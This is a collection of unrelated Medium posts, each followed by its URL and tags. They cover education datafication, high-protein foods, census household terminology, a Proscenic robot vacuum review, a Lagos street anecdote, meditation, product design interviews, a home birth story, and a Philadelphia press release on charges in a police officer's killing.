These are some questions to ask over the coming years. If these stances are adopted this could have knock-on effects on many parts of the education sector such as libraries as well as jobs within schools such as teachers and cleaners being at risk of becoming redundant. The scientific infatuation of measuring big data to develop accurate models to push education to the online world is further pushed by investors and start-ups to exploit the pandemic as a social experiment. This could lead policymakers to consolidate the use of EdTech and spur the rest of the education sector on the road to datafication which could leave jobs in precarious conditions and change the culture and nature of learning and the process of secondary socialisation.
The education sector through marketisation as well as other means has been the sector most affected by datafication. As it promotes efficiency, competition and standardisation. However, at the same time risks have also emerged such as continuing the culture of surveillance, control, privacy, manipulation as well as new and repackaged inequalities.
The quantification of student’s digital footprints during and after the pandemic shows the long-term motivations to lock in as Collingridgedescribes EdTech tools into mainstream education but instead of disrupting inequality or improving student experience these tools may exacerbate existing inequalities, uproot and embed technology risks and leave jobs in precarious conditions. Therefore, if EdTech becomes locked in it may further disenfranchise groups of people from education, reinforce a specific type of learning and success and favour the interests of investors.
Thoughts
Can we go back once datafication of education expands and EdTech tools become locked in?
‘’Control may still be possible, but it has become very difficult, expensive and slow.’’- David Collingridge, The social control of technology, pg. 18
Collingridge’s quote from the 1980s is still significant and may give us some insight. It seems that change within the education sector more so now that it is governed by market forces may be political.
Who defines the problem within the education system as a problem? Is it the teachers, students, politicians or big tech?
Why might the decision process be slow when it comes to education policy? Do we rely too much on the future of EdTech to solves these problems?
It is undoubtedly true that technology has benefited and aided students before and during the pandemic. However, as technology continues to grow exponentially and becomes embedded in traditional sectors it is important to discuss critically the risks that we know of. For risks that we don’t know of, we could follow Ibo van de Poel’s advice of incremental steps which can help us become less ignorant and more critical around the allure of new technologies. Whilst at the same time instead of relying on numbers solely, we can incorporate views from the social sciences such as anthropology to evaluate how these risks affect our behaviour and the development of society. | https://medium.com/@maishaachowdhury/towards-datafication-235e014a2777 | ['Maisha Chowdhury'] | 2021-03-02 16:26:40.643000+00:00 | ['Politics', 'Data', 'Technology', 'Education', 'Edtech'] |
HIGH PROTEIN FOODS | Image Source: Google
Protein is crucial for a good health as it is the building block of the body. It contains amino acid which is responsible for the growth and repair of organs, skin and tissues. They facilitate the repair of wounds and are important for muscle building.
Studies have shown that protein can help you lose weight and belly fat and keep you feeling healthy and strong. The recommended daily intake of protein is between 43–63 grams for most adults, while pregnant and lactating women need up to 65 grams daily. So, whatever the need be and whatever your food preference is, protein is one class of food you just can’t avoid.
Below is a List of Some High Protein Foods.
1. Eggs
Eggs are excellent source of protein, nutrients and healthy fats. Whole eggs are high in protein but egg whites are pure protein. Studies have shown that eggs can make you feel more satisfied and stop you from over-eating. This is an added advantage if you are trying to lose weight.
Protein content- One large egg contains 6 grams of protein.
2. Chicken Breast
This is a great source of lean protein. The best part is that it can be used to cook a variety of dishes.
Protein content- One roasted chicken breast without the skin contains about 53 grams of protein.
3. Beans and other legumes
This is an inexpensive source of protein and is very versatile as it can be prepared into various dishes. Legumes are rich in both fiber and protein. It is quite filling and thus can be very helpful when trying to lose weight.
Protein content- 21 grams of protein per 100g serving.
4. Cottage Cheese
This is a type of cheese that is low in fat and calories but has an abundance of protein and other nutrients such as calcium, phosphorus and vitamin B2.
Protein content- One cup of low-fat cottage cheese contains 28 grams of proteins.
5. Fish
This is rich in almost all nutrients and contains many essentials vitamins. Some type of fish contains omega 3 fatty acid.
Protein content- Salmon contains 22 grams of protein.
6. Oats
These are the healthiest grains available as they contain magnesium, manganese, healthy fiber and vitamin B1.
Protein content- contains about 11 grams of protein.
7. Milk
Milk is a good source of protein and is rich in calcium, potassium and vitamin B2. If you are on a diet, low or zero fat milk is a great option and for vegans there are alternatives like soy milk.
Protein content- One cup of whole milk contains 8 grams of protein while one cup of soy milk contains 6.3 grams of protein.
8. Broccoli
Broccoli is one of the healthiest vegetables. It is a good source of vitamin C, vitamin K, potassium and fiber. It is very high in protein compared to most vegetables.
Protein content- 96 grams of chopped broccoli contains 3 grams of protein.
Importance of High Protein Foods
· They help in the growth and maintenance of body tissues
· Maintains proper PH of the body
· Proteins are responsible for the regulation of body processes
· Proteins form antibodies that fight infections
· They supply the body with energy.
With all these amazing benefits, make sure to include protein in your diet today. | https://medium.com/@desolaa/high-protein-foods-4800089d1fae | ['Adesola Falade'] | 2021-12-30 11:58:03.183000+00:00 | ['Health Foods', 'Protein', 'Protein Sources', 'Healthy Lifestyle Tips'] |
Back to Basics: Household vs. Housing Unit | Today, cities of all shapes and sizes are using data to make decisions. They are hiring experts, purchasing new tools, and are now, more than ever, focused on understanding information — anchoring the decisions they make to people and places in their communities. While paths to insight discovery may vary, the desired outcome is the same: Everyone, everywhere, wants to make better decisions — and data can help us all do that.
For those without GIS or technical backgrounds, the barriers to simply getting started are real. In the mySidewalk Back to Basics blog series, we’ll “start at the start,” focusing on the fundamentals and making it easier for everyone to talk about and do more with data.
The Decennial Census and American Community Survey (ACS) are two of the most trusted and detailed sources of information for describing neighborhoods, cities, and counties. However, when misinterpreted (an easy mistake given the format in which most data is presented), that information can be misleading. It’s important to be able to determine what data you need, where you can find it, and how to confidently interpret what you discover.
Let’s start with some simple terminology. Below you’ll find the difference between the term “Household” and “Housing Unit,” two common classifications that can be easy to confuse with one another.
The Difference Between Household & Housing Unit
A “Household” is referring to the people who are living in a housing structure and a “Housing Unit” is describing the actual structure in which residents live.
It is important to note that a household can be made up of family householders or non-family householders. The term “Family Householders” is referencing householders who are related to one another in birth, marriage, or adoption. A “Non-Family Householder” refers to someone who lives alone or is living with people who are not related to them.
“Household” data is useful when you want to learn more about the people living in a place. The following are examples of household data collected by the census:
Use “Housing Unit” datasets when you want to learn more about attributes of structures or the types of places where people are living. The following are examples of housing unit data collected by the census:
The Magic of Merging
Datasets, when combined with other datasets and visualized, can yield especially powerful, deep insight. For instance, here is an example of two housing datasets being used together to learn more about where large families (5 or more relatives) are living without complete plumbing in Chicago, Illinois. (This map is interactive — be sure to use your mouse to zoom in and utilize the data available in the toolbar.) | https://medium.com/community-pulse/back-to-basics-household-vs-housing-unit-763adcdc365c | [] | 2016-12-30 00:02:54.356000+00:00 | ['Smart Cities', 'Community Development', 'Data 101', 'Urban Planning', 'Big Data'] |
Proscenic M7 Pro robot vacuum review: Watch your back, iRobot | The M7 Pro is the first Proscenic robot vacuum we’ve reviewed, and if it’s indicative of the rest of the company’s vacuums, it bodes well indeed. The M7 Pro performs both vacuuming and mopping duties, employs laser navigation and mapping, and offers plenty of cleaning customization for a solidly mid-tier price.
The M7 Pro doesn’t break any molds with its design, sticking to a standard circular shape in a black finish. It measures just over 13 inches across and its above-average 3.8-inch height reflects the laser turret—which allows it to map your floor plan—sitting on top. Underneath are two spinning edge brushes and a main rolling brush. A 600ml dustbin slots into the back.
This review is part of TechHive’s coverage of the best robot vacuums, where you’ll find reviews of competing products, plus a buyer’s guide to the features you should consider when shopping for this type of product.You can control the vacuum with its physical remote, the Proscenic Home companion app, or with voice commands via Amazon Alexa. The app provides many ways to customize cleaning jobs, including scheduling, setting virtual boundaries, and zone cleaning. It also tracks cleaning stats and battery usage and alerts you when the vacuum gets stuck.
Proscenic The Proscenic M7 Pro has a max suction of 2700Pa, making it great for getting pet hair out of carpets.
SetupSetting up the M7 Pro is pretty simple. First, plug in its charging dock and set it against a wall—Proscenic recommends 3.9 feet of clearance in front and 1.6 feet on either side—then set the vacuum on it and power it on. To connect it to the app and your WI-Fi, you have to press the Clean and Home buttons on the vacuum simultaneously until the voice prompt says it’s ready to connect. The app takes over from there, prompting you through the connectivity steps with the vacuum’s voice prompts confirming the success of each one. I didn’t encounter any issues, and the whole process took just a couple of minutes.
[ Further reading: The best indoor air-quality monitors ]Performance Auto dust collector sold separately Proscenic Automatic Dust & Dirt for M7 Pro Robot Vacuum Cleaner See it For the first cleaning, it’s important to clear the floor of clutter, so the M7 Pro has unfettered access to build an accurate floor map. As it cleans, you can view its path on the map as a squiggly white line snaking around the room. The app also displays the area covered in square meters, the duration of the job, and the current battery level.
Once you have a complete map, you can set up restricted areas where you don’t want the bot to go. A clearly labeled button on the map screen opens this feature and prompts you to give the area a descriptive name: “dog bed,” for example. Then it drops a red bounding box on the map for you to drag to the appropriate spot and resize. The box disappears from the map once you save the area, leaving just the area’s name on the map.
Proscenic
Proscenic’s Automatic Dust & Dirt collector, sold separately for $99, automatically empties the M7 Pro’s dustbin.
The map also enables area cleaning for when you don’t want to vacuum an entire room or level of your home. To do this, select Custom Area from the map screen and then Add Custom Area. Again you’re prompted to give the area a name, then a green boundary box appears on the map for you to resize and place. Press Save Area Temporarily to finish.
You won’t see these custom cleaning areas marked on the main map; they’re saved to a separate map that appears when you access the More menu and select Multi-Zone Cleaning. All you need to do to clean one of these areas is select it and press the Go to Clean button.
Zone cleaning came in handy when I used the M7 Pro on my downstairs level. I was able to delineate my living room, kitchen, and bathroom as separate cleaning areas and dispatch the M7 Pro to each of them for vacuuming or mopping individually.
Michael Ansaldo/IDG Mapping allows you to clean custom areas and set virtual boundaries.
The M7 Pro was able to transition over medium-pile carpet, hardwood, and vinyl tile flooring without a problem. It’s laser navigation and 24 on-board sensors allowed it to move around furniture, along walls, and through doorways without banging into anything or taking inefficient routes. Its turret-boosted height prevented it from getting under my low couch, but that was really the only issue I encountered.
The vacuum has three suction strengths—Quiet, Standard, and Strong—the last with a whopping 2700Pa max suction power. That was pivotal in pulling up pet hair and debris from my carpet. I generally used the M7 Pro in Auto mode, so it would automatically boost the suction when it detected the rug, but there is also a Spot mode for cleaning small, extra dirty areas.
The dustbin removes and opens easily for emptying, but if you have allergies or are particularly sensitive to dust, you may want to consider using Proscenic’s Automatic Dust & Dirt collector. Sold separately for about $99, it will empty the M7 Pro in a similar fashion to the iRobot’s Roomba i7+, s9+, and i3+ models. Unfortunately, we weren’t provided one for testing, so I can’t tell you how effective it is. I can tell you that replacement bags for the dust collector cost about $16.50 for a three-pack.
MoppingThe M7 Pro includes a separate mopping module, a 110ml water reservoir to which you attach a microfiber cloth. It performs about as well as similarly outfitted mopping robot vacuums, which is to say good, but not great. Once you fill the reservoir with water and attach it to the M7 Pro, it drags the dampened cloth across the floor to wipe away surface grime. It’s fine for maintenance, but it won’t replace your stick mop for removing tougher dirt.
The main issue, though, is that the M7 Pro doesn’t know to avoid carpet when it’s in mopping mode. That makes area cleaning essential for homes like mine where the two types of flooring are immediately adjacent to each other. Area cleaning allowed me to use the M7 Pro in my kitchen, entryway, and bathroom for mopping without worrying too much it would stray onto the living room carpet. Still, I had to monitor it during these cleanings because its dock, which it automatically returns to when it’s finished a job, was in the carpeted area.
The M7 Pro’s microfiber cloth is machine washable, but the manufacturer also provides 10 disposable mop cloths in the box with the appliance.
VerdictThe Proscenic gets high marks for its vacuuming performance, its excellent app, and ample cleaning customizations. It’s a middling mopper, but no worse than other hybrid-style competitors. It compares favorably to Roborock’s S4 Max in both features and price, and in that light, the mopping feature is a bonus. The Automatic Dust & Dirt collector option should probably factor into your decision, too, as even with the added expense of that accessory, the total cost would be less than one of iRobot’s self-emptying models.
Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details. | https://medium.com/@evan05802103/proscenic-m7-pro-robot-vacuum-review-watch-your-back-irobot-8831c383ccc4 | [] | 2020-12-17 02:22:37.319000+00:00 | ['Home Theater', 'Cord', 'Mobile Accessories', 'Gear'] |
You will not believe that this actually happened | In a state of mind stuffed with smokes and and a time line sullen to jokes, my computer was more connected than my roommate’s networking skills, I had over spent my financial opportunities and my social life had become bleak.
I sat there in that Dark, sad and poorly ventilated room that smelled like weed smoke, damp rug and unwashed plated, I got lost looking into air, counting down to more countdowns. I envisioned shooting a shot. I planed strategically and tirelessly to shoot like a soldier with a million targets but had only one Bullet.
Sammie, my roommate always told me to leave my plans and follow his, but his sense of judgement was always inconsequential. If he made good choices we wouldn’t have spent half a day at the police custody on that Christmas day, or slept in the bathroom floor on new year’s eve, having drunk a few bottles of beer. Not a few actually, I just lost count.
But my plans were not much.
I planned to make only a few box to change my wardrobe
I planned to get a new photoshoot ready so I could see a casting director and hand over to him nice headshot of myself.
I planned to fix my car; it’s engine had been squeaking embarrassingly on the road and had invited warnings from lastma and road safety .
and . I planned to record New songs
I planned to make my social media very active
Most importantly, I planned to BLOW.
I knew something was missing, something in the equation was really missing but my mind had begun the addiction process of not processing everything clinically. The ones I did, what were the results?
I had become so angry in the coming months. I sometimes wished people will harrass, attack or accost me on the street on the roughest parts of Lagos, which of course was my daily routes, I looked out for Petty Thieves, demanding masquerades, extortionists in police uniforms, inspired lunatics, color code inspecting cultists, etc. I just needed a Scape-goat.
In the span of 4 months I had become so angry that I beat up 5 masquerades, 2 cultists, 1 police man and knocked out an army man … Ok that’s a lie
What happened is that I actually punched a masquerade in his face for stopping me and staining my White shirt with oil. We had a fight, a police stopped bye and asked us to visit the station, I refused. The masquerade agreed.
“You mean to tell that this Van will contain egungun and me?”
I argued.
I was still arguing when a military Van passed. An army man recognised the masquerade and signalled that the van be stopped.
They came towards us and asked what happened. The masquerade lied. He said I stole money from him
“so why were you resisting when you stole?”
The police asked.
In my quiet, confused state of temporary shock, I smelled trouble and immediately remembered Sammy and thought what will Sammy do? In a split second, I ran off. | https://medium.com/@geeniuswhay/in-a-state-of-mind-stuffed-with-smokes-and-and-a-time-line-sullen-to-jokes-my-computer-was-more-92587543724d | ['Genius Whay'] | 2020-12-20 12:31:51.664000+00:00 | ['Spiritual Growth', 'Nollywood', 'Poetry', 'Entertainment', 'Funny Story'] |
Why Your 20s Are the Best Time to Learn Meditation | Why Your 20s Are the Best Time to Learn Meditation
In the midst of crashing worlds, when my professional life was coming to an excruciating halt, my personal life wasn’t going well either.
I’m talking about my startup coming to an end more than a year ago. Our funding deal was canceled at the last moment just as the investors got cold feet out of the blue.
I thought the paperwork was only a formality. That the deal was done. But I soon learned an important business lesson — a person needs to make you believe their word means something; if they don’t, it’s dog****.
Anyway, it’s not that it all came burning down. Just before the house of cards fell, I got out of the company and incorporated another entity to start my business anew.
As you can guess, this experience was hard on me. But what made it harder was the lack of a spine in my life.
Even though I was mentally doing good and my health was fine, my spiritual life was a mess. It matters because no matter what you believe, we need to cling to a higher reality to transcend life’s difficult experiences.
It’s not escapism as you might think. It’s about getting your strength from a higher source to continue fighting your battles in the future.
This, fortunately, was the time when I started meditating and joined Ananda to learn the yogic teachings to live a better life.
My new-found spiritual practices were like a blanket. They helped me heal from whatever was going wrong and bounce back in a short time.
As I reflect more on my experience, I realize this is what our 20s are often like — at least for the people who want to make something out of their career.
A-type, driven and ambitious individuals like me are hyped up by the concept of grabbing life by the balls. But as anyone knows, it brings a lot of dirt with it.
To endure these and many other challenges that come on our path as millennials, I’d like to posit an all-encompassing solution to our problems:
Meditation. | https://medium.com/the-ascent/why-your-20s-are-the-best-time-to-learn-meditation-8a1f84e2c55d | ['Shivendra Misra'] | 2021-01-01 07:31:47.160000+00:00 | ['Meditation', 'Spirituality', 'Youth', 'Self', 'Life Lessons'] |
Product design interviews — Learnings from a new grad | As a senior university student, the need to balance a heavy school workload while preparing for job interviews at the same time in the middle of a pandemic can be stressful and overwhelming. Over the past few months, I’ve gone through the process of recruiting for full-time product design roles at companies such as Square Cash, Figma and early startups like HAGS. I was fortunate enough to receive job offers from some of these companies, thus I’m sharing my learnings from my experience. Hopefully, it can be helpful to you too :)
1. Know yourself
Companies try to assess candidates in a short period of time, so it’s crucial that you communicate in a concise way. Take some time to think through the following questions that interviewers may have about you.
Current priorities: Do you want to prioritize your core skill growth as a designer now? Or do you prefer the flexibility of being able to wear different hats to gain experience outside of the job role’s responsibilities?
Do you want to prioritize your core skill growth as a designer now? Or do you prefer the flexibility of being able to wear different hats to gain experience outside of the job role’s responsibilities? Values: What do you fundamentally care about? Is there alignment between the company’s values and your own?
What do you fundamentally care about? Is there alignment between the company’s values and your own? Past collaboration experience: How did you collaborate with your cross-functional partners? How did you resolve conflict or disagreements with team members?
Tip: Use specific examples to help illustrate your responses. Examples are a powerful way to show interviewers the value you can provide. Write these examples down so that you can refer to them during your virtual interview.
2. Don’t practice by yourself
Practice is important. Practicing with another design counterpart is especially important for a highly collaborative role such as product design. As an introvert, I hated interviews. The thought of my skills and ability being judged and assessed in a constricted environment was very stressful for me. I’ve failed many interviews before due to a combination of my anxiety hindering my performance during the interview and the lack of *collaborative* preparation before interviews. My negligence to actively seek external help cost me a lot of opportunities.
Practicing with other designers comes in handy for the portfolio review presentation and the whiteboarding problem-solving phase of the job interview. From my experience, I found it super helpful to practice my presentation and run through some whiteboarding problems with other experienced designers in the industry that have interviewed candidates. They are able to provide constructive feedback on how you can improve and be more prepared for the actual interview.
Rigorous practice with the help of other designers not only better equipped me to address unexpected questions from interviewers about my work but also helped ease a lot of anxiety I normally feel during interviews.
Tip: Having trouble finding designers to help you practice? You should apply to Out of Office Hours or UX Coffee Hours, these websites connect newcomers like you to veterans in the tech industry who volunteer their time, completely free of charge.
3. Always seek improvements
During the interview process, ask for feedback whenever you get the chance. Often, the very end of the interview is a good opportunity. Receiving feedback is a gift as it allows you to improve faster and increase your chances of performing better for your next interview. Additionally, it shows your potential employee your willingness and hunger for improvement which is one of the main criteria interviewers look for.
To go the extra mile, you can send a follow-up email to everyone who interviewed you. This can help end things on a good note and allow you to communicate the following important things:
Provide additional context: Use this opportunity to provide additional context or address any unanswered questions on what you presented during the interview. This allows interviewers to understand your work better. This can be a form of presentation, file attachment or a link to the project you talked about with the team.
Use this opportunity to provide additional context or address any unanswered questions on what you presented during the interview. This allows interviewers to understand your work better. This can be a form of presentation, file attachment or a link to the project you talked about with the team. Ask for feedback: There’s always room for improvement. Be the candidate that is always looking for ways to improve and grow.
There’s always room for improvement. Be the candidate that is always looking for ways to improve and grow. Show your gratitude: A short thank you note can go a long way as it shows your appreciation for them taking the time to chat with you and hear you talk about your work.
Tip: Don’t know the emails of your interviewers? Kindly request the recruiter to relay your message to the team.
Closing thoughts
Job interviews can be very stressful, challenging and exhausting. Try not to take on too many interviews at the same time to prevent yourself from getting burnout. Rejection sucks big time, especially when the stakes are high (eg. financial or visa reasons) please don’t be too hard on yourself. Remember, everyone in the design community is rooting for you, so don’t be afraid to reach out to people to ask for help. The worst feeling is coming out of an interview thinking you could’ve done better. As long as you are actively seeking improvements after each interview you had done, you will be just fine.
Thank you for reading, if you have any questions or thoughts on this I would love to hear from you! Feel free to send me an email or DM me on Twitter. | https://medium.com/design-bootcamp/product-design-interviews-learnings-from-a-new-grad-90afddeb9737 | [] | 2020-12-26 20:08:28.797000+00:00 | ['Recruiting', 'Tips', 'Job Interview', 'Product Design', 'Careers'] |
My Birth Story — Anna Carson. It is impossible for me to tell my 2nd… | Healing the Trauma through Home Birth
It is impossible for me to tell my 2nd birth story without telling my first. They go hand in hand as my first birth experience, I realise now, was essential, in order for me to experience the second.
So, to my beautiful daughter Charlotte, I thankyou, for all that your birth has taught me, given me and enabled me to achieve, you are forever my teacher. I love you.
My first birth with my daughter, was traumatic. Physically, mentally, emotionally. In every sense. I was dismissed, I wasn’t listened to. I didn’t feel safe or held. I had begged, screamed and swore but I was not heard. I was cut and stitched badly and I was lied to.
My wonderful husband did everything he could but once we were in the cogs of the great medical machine, there was little he could do.
My pregnancy had been beautiful — I had loved every minute of it, finally being in love with my body as I watched it slowly grow and blossom, relishing every kick I felt and dreaming of the day I was going to meet the bubba that so regularly could be felt hiccupping inside of me.
I wrote my birth plan; a water birth, with no pain relief, attended the NCT classes, took the tour of the hospital, impressed with all the equipment they had to facilitate a natural birth, birthing balls, beautifully lit pools, amazing Swedish designed equipment where you could birth in any position that felt right, and midwives who appeared to really support this. I was nervous, of course, as all the women were as we walked around the birthing rooms but I was confident, even when we entered the labour suite and they talked us through all the interventions and scenarios, I just vowed in my head that I wouldn’t go there.
However nothing can really prepare you for your first birth can it? You never can know how you are going to respond when you start feeling the intensity of the contractions building. I was so excited when I realised labour was starting and I decided not to wake my husband for a couple of hours, while I relished in the sensations and the thought that my baby was coming earthside but the excitement slowly turned to apprehension.
I had always had it in my head that I would have a fast birth, as my mother and grandmother had both experienced quick deliveries, and so as the time between contractions shortened, I became more anxious to get to the hospital and after projectile vomiting my fruit smoothie all over the bathroom, we decided it was time.
At hospital and we were greeted by the midwife. I had my first internal and it was discovered that I was 4cm dilated which I was really pleased about. However the first warning bell rang when, after asking to use the birthing pools, the midwife stated that she would just find out where they were! We found out later that she had not attended a birth at this hospital for many years and actually had not attended any birth for a couple of years and that day she was in for her compulsory update. I realise now that we should have turned around at that point and demanded another midwife, because already I didn’t feel safe under her care.
If we look at nature, we can see many examples of how mammals will delay birth or even re-absorb their foetus, if they do not feel safe (Gazelles in the Serengeti can actually delay their birth to up to 2 weeks if necessary and if after this time, the rains have not arrived, they will re-absorb their foetus as they know there will be a shortage of food in the coming year) but this understanding of how our physiology works, has been near forgotten in the western medical world, but can explain so many examples of labours that are classed as ‘failure to progress.’ We did not feel safe.
From the moment that our midwife said this, I had no confidence in her or her ability to support us, and although I was able to further dilate, when I reached transition the panic set in. I demanded another midwife, but this was ignored. I was told to push, but baby was stuck against an anterior lip of my cervix, causing internal and external swelling as well as nerve damage to my pelvic floor and bladder. Eventually after over 2 hours of pushing against my cervix, they called in the doctor. They realised that baby was posterior and stuck and then offered me an epidural so they could manually turn her. I begged for more time and so we tried other positions but she didn’t turn. So I had no choice but to have the epidural, At that point I just broke down in tears. Tears of exhaustion, tears of pain, of desperation, of grief of the dream that I had held of the way I was going to meet my baby, and tears from the sense of losing complete control.
As the epidural started to work and I could no longer feel the contractions, I lost connection with my body and the process. I could see when the contractions were happening on the monitor but I couldn’t feel a thing. It felt like it was no longer my birth, this was something happening to me. They tried to manually turn her and when this also failed, I was moved into theatre, given a top up of epidural, and then an episiotomy and forceps were used to pull her out. I can remember the sense of them tugging and pulling, I can remember asking them to delay chord clamping, (which they ignored) I can remember them taking her away from me to be checked and screaming at my husband to ‘stay with her’, ‘keep touching her’ and then panicking when I couldn’t hear her. At last they bought her to me and lay her on my chest. My beautiful daughter, battered and bruised but just divinely beautiful, was here.
It took months to heal physically but the wonders and pressures of new motherhood meant that I did not take the time to heal emotionally. I buried it as deep as I could so that I could be the mum I needed to be for my daughter.
Fast forward nearly 2 years and I found myself pregnant again, in another continent, walking into a hospital for my first midwife appointment, and bursting into tears. All the emotions, all the pain, the disappointment, the fears all came flooding back. I cancelled my appointment and walked straight back out again. I couldn’t do it. The hospital, the smell, the clinical environment, the anonymity of the system all felt so wrong, and agitated every cell in my body, so I drove back home and phoned my husband, who was away for work, and told him that this time was going to be different.
I didn’t know how and I didn’t know in what way, but this time I was taking control. I was never going to be made to feel like I did with my daughter.
So now started my quest for that something different.
Here I was in a completely different country, I knew hardly anyone and had absolutely no idea of how the birthing system worked here, but I had Google and Facebook. I discovered that there was such a thing as a private midwife (something I had never heard of in the UK) and so I started contacting them all. But everyone I managed to speak with, was already booked up ( I was already 15 weeks pregnant) and I started to get a bit panicked. I researched the nearby hospitals to see whether any of them offered a different service, tried to get on the MGP program, only to be told that there was a waiting list of over 10 women and so really no chance of that either.
Eventually we found a Birth Maia (un-registered midwife) who agreed to meet us. Technically she was fully booked also but she agreed that she would consider us if I also hired a Doula, so that there was some form of back up should she already be attending another birth.
The moment we sat down with her to discuss what we wanted we knew she was exactly what we were looking for. She had been a midwife for 30 years, she believed 100% in a woman's ability to birth naturally, she wasn’t afraid of a fight if required, and yet she was so incredibly gentle, nurturing and was able to set our minds at ease immediately with inappropriate jokes and wonderful laughter. We signed her up there and then. She recommended a Doula and again, the moment I spoke with her on the phone, I knew that we had our team.
As my pregnancy progressed, many emotions, fears and anxieties were brought to the surface. Not just for me but for my husband too. In fact he probably held as much fear and trauma as I did from our first birth, as he had actually witnessed it. He had seen the blood, had heard my screams, had not been allowed into theatre for 30minutes and seen the faces of the surgical team when things were not going to plan. He heard the lies and was fully aware throughout (unlike me). So we had a lot of talking, healing to do before we could both fully embrace the prospect of a homebirth. We signed up for a Hypnobirthing course, we watched beautiful empowered births, I had kinesiology sessions to clear the trauma I held physically and emotionally, and we chatted and we chatted some more and we cherished our visits with our midwife and doula.
For us, the biggest thing that made this preparation for birth so different, was the fact that we were in control. At one point I had an obstetrician (who I had never met) call me at home and basically say to me that I was risking my life by having a homebirth and my GP then sent me a letter to state that she could no longer be my GP because of the concerns the obstetrician had.
I discussed this with my midwife (who knew my whole history), I found a magnificent GP, we ensured that all scenarios were discussed and plans were made, and we carried on. It was so empowering to be involved in every decision. At no point did my midwife give me ultimatums, she taught us to always use the ?? acronym when trying to make a decision a, and talked through every eventuality, giving us the decision at every stage.
My pregnancy continued without any concerns and through my midwife we had been introduced to a number of her other clients in the area and so we had already built up incredible support network.
The morning of my due date arrived. I was feeling pretty good, well as good as you can when you are 40 weeks pregnant and have a 2 year old to run after! Baby had been 2/5 engaged for a couple of weeks and I felt that we didnt have long to wait. I was due to have an appointment with my midwife that afternoon but she contacted me at 10am to say that she was attending to another birth (my gorgeous friend Naomi) and so wouldn’t be able to make it.
I told her that I didn’t think baby was far away and so she said if she got a chance she would pop over quickly. At about 2pm I got a call to say that Naomi was resting and she had 30 minutes to pop over, so she came and was happy to report that baby was still only 2/5 engaged and seemed pretty happy in there.
I carried on with the day and later started to prepare dinner for the family, give my daughter a bath, and put her to bed. I had noticed that from 4pm I had been having Braxton Hicks and they hadn’t stopped and seemed very regular, so after Charlotte was asleep I asked Nathan to time them. They were 10 minutes apart. I could still talk through them and there was relatively little discomfort. However within another 20 minutes they were down to 7 minutes and def building in intensity. We decided to text Trish and Sheila to warn them that baby was on its way that night and to also see how Naomi was getting on with her labour. Sheila immediately texted back to inform us that Naomi had only just given birth and her placenta was also birthed and BAM that’s when my contractions really started. They went from 7 minutes apart to 5 minutes apart and then down to 1 minute apart within 30 minutes. Nathan was desperately trying to fill the pool, with a hose and buckets, Trish had jumped in the car and was on her way as was Sheila. I quietly prepared my altar and room; stop regularly for the contractions which were now incredibly intense but I felt calm and ready. There was no panic (from me) no doubt in my mind, just a certainty that my baby was going to be born tonight at home.
By the time Trish and Sheila arrived at 8.50pm the contractions were almost continuous. They immediately helped me undress and got me in the pool — ahhh the relief, I had forgotten how blissful the warm water on my skin was, how it made my muscles instantly relax, and how supported I felt in the cosy, dark room. Trish stayed with me and Nathan and was incredible at guiding me in my breathing, keeping me connected and present, calming me, while Sheila grabbed a quick bowl of soup for sustenance (she had been with Naomi since early that morning).
Then I started to feel babys head bearing down, the intensity, the stretching, the feeling of being opened like never before, was beyond words. I had never experienced anything like it but I wouldn’t call it pain, it went beyond that, it was deeper than that. More soul based than pain, but wow was it intense. Each time I felt I couldn’t bear any more, we surged and reached another level, baby and body working together, separate of all conscious thought or control, I felt all I could do was hold on and try to breathe my way through it. Trish guiding me throughout while Sheila jumped into the pool to try and stop baby coming quite so fast.
And then he crowned…….
And I remember screaming at Sheila to stop moving the baby, but she wasn’t. Babies, once they crown, if left to their own devices, will start to turn to enable the shoulders to be birthed, and that was exactly what he was doing, but that was just a whole new level of intensity…..and I remember waiting and both Sheila and Trish just calming telling me to wait, wait until he is ready, until your body is ready…. And then there was one final push and he was born. My beautiful baby boy was born in the Cawl, into water, 35 minutes after Trish and Sheila arrived at 9.24pm. My daughter had been woken by my final scream and came in to the room, just as he was lifted out of the water and into my arms….
And that is where he stayed for the next hour… in my arms, as we sat in the water. He had his first breastfeed as we sat there in complete calm, the room still dark and deliciously warm and it wasn’t until I had to birth my placenta and stand up that the chord was clamped and cut and he was passed to Nathan to hold. There was no rush to weigh him or check him. We had already gently counted his fingers and toes and fallen in love but there was no rush to do anything. I was gently helped out of the pool and into the shower and then wrapped up in my pyjamas and dressing gown and slowly helped to walk down the hall into our living room where I was made tea and toast and we all just sat, looking in complete amazement at our son.
I had just had the birth of my dreams.
Anna Carson is an Intuitive Kinesiologist and Guide
Releasing the Resistance to being YOU
www.annacarson.com.au
https://www.facebook.com/AnnaCarsonHealing/ | https://medium.com/@kinesiology/homebirth-healing-the-trauma-f58a3eb3100a | ['Anna Carson'] | 2019-07-24 12:17:02.401000+00:00 | ['Birth', 'Healing', 'Kinesiology', 'Birth Trauma', 'Home Birth'] |
District Attorney Krasner Announces Murder, Related Charges for Killing of Police Corporal O’Connor | CONTACT:
Jane Roh, District Attorney’s Office, 215–686–8711, [email protected]
PHILADELPHIA (March 17, 2020) — District Attorney Larry Krasner on Tuesday announced the first of a series of expected charges for a police-involved shooting that resulted in the death of an officer on Friday, March 13th, on the 16XX block of Bridge Street.
“Last Friday, Philadelphia Police Corporal James O’Connor was killed while performing one of the most dangerous duties of law enforcement: serving an arrest warrant for a known fugitive. This incident involved multiple individuals and multiple shots fired from behind the walls and closed door of a second floor residence. There is no video or audio evidence of what occurred inside the residence during this incident as of today. The investigation of this incident is being led by Philadelphia Police detectives, and is very much active and in very early stages.
“Today, the District Attorney’s Office is filing charges for the murder of Philadelphia Police Corporal James O’Connor. We have sufficient evidence to establish that Hassan Elliott, the subject of the fugitive arrest warrant, fired the bullets that killed Corporal O’Connor. We are relentlessly pursuing additional evidence to establish all of the facts, including the results of forensic testing that is under way.”
Four individuals were taken into custody following Friday’s police-involved shooting, in which approximately 21 bullets were fired on members of a SWAT team from one firearm and from behind a closed door: Hassan Elliott (DOB: 8/14/1998) of Philadelphia; Khalif Sears (DOB: 7/25/2001) of Philadelphia; Bilal Mitchell (DOB: 7/5/2000) of Philadelphia; and Sherman Easterling (DOB: 5/5/1995) of Philadelphia.
At the time of the incident, Elliott, Sears, Mitchell, and Easterling were in one bedroom of the second floor residence. Shots were fired before officers were able to enter the residence. Corporal O’Connor was in the line of fire and fatally wounded by those shots. Sears and a male resident of the unit were wounded as SWAT returned fire. Elliott, Sears, Easterling, and Mitchell were taken into custody.
